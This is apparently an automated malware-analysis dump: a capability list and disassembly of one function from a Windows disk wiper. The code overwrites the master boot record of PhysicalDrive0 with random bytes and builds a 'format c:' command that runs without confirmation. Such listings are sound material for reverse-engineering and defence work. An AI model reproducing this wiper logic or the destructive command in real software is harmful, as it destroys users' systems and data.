Function at 0x14000191c
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Get common file path
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x1920]
mov eax, 0x1a20
call fcn.140014cf0
sub rsp, rax
xor ebx, ebx
call fcn.140002ef8
or dword [rbp + 0x1914], 0xffffffff
mov dword [rbp + 0x594], eax
lea r14d, [rbx + 1]
mov edx, r14d
mov r8d, 0x270
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x594], eax
add rdx, r14
cmp rdx, r8
jb 0x140001960
mov dword [rbp + 0x590], r8d
mov dword [rbp + 0x1940], r14d
mov edi, 3
mov dword [rbp + 0x1944], edi
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x1940]
call fcn.140002120
sub eax, r14d
je 0x140001bab
sub eax, r14d
je 0x140001a92
cmp eax, r14d
jne 0x140001c44
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], edi
xor r9d, r9d
mov r8d, edi
mov edx, 0x40000000
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001c44
mov qword [rsp + 0x38], rbx
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x18
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140001a8a
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
lea rsi, [rbp + 0x180]
lea rcx, [rbp + 0x590]
call fcn.140001e18
mov byte [rsi], al
add rsi, r14
lea rax, [rbp + 0x380]
cmp rsi, rax
jne 0x140001a4b
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x1948]
mov r8d, 0x200
lea rdx, [rbp + 0x180]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
jmp 0x140001c3e
mov edx, 0x104
lea rcx, [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, [rbp + 0x380]
lea rcx, [rsp + 0x60]
call fcn.140002004
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rax, qword [rax + 0x18]
sub rax, rcx
mov edx, 0x29
cmp rax, rdx
jb 0x140001aff
lea r14, [rcx + 0x29]
mov qword [rdi + 0x10], r14
mov rsi, rdi
cmp qword [rdi + 0x18], 7
jbe 0x140001ae2
mov rsi, qword [rdi]
lea rcx, [rsi + rcx*2]
mov r8d, 0x52
lea rdx, str.cmd.exe__c_echo_y_format_c:__fs:NTFS__q
call fcn.140014fb0
mov word [rsi + r14*2], bx
jmp 0x140001b0f
mov qword [rsp + 0x20], rdx
mov rcx, rdi
call fcn.1400021b0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 7
mov word [rdi], bx
lea rcx, [rsp + 0x60]
call fcn.140001fa0
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova rcx, qword [rsp + 0x40]
call fcn.1400093f8
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140001c44
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ba1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c5c
call fcn.140003500
jmp 0x140001c44
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], edi
xor r9d, r9d
mov r8d, edi
mov edx, 0x40000000
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001c44
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp - 0x80]
call fcn.140015650
lea rdi, [rbp - 0x80]
lea rcx, [rbp + 0x590]
call fcn.140001e18
mov byte [rdi], al
add rdi, r14
lea rax, [rbp + 0x180]
cmp rdi, rax
jne 0x140001bee
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x1940]
mov r8d, 0x200
lea rdx, [rbp - 0x80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x1a20]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.140009978
int3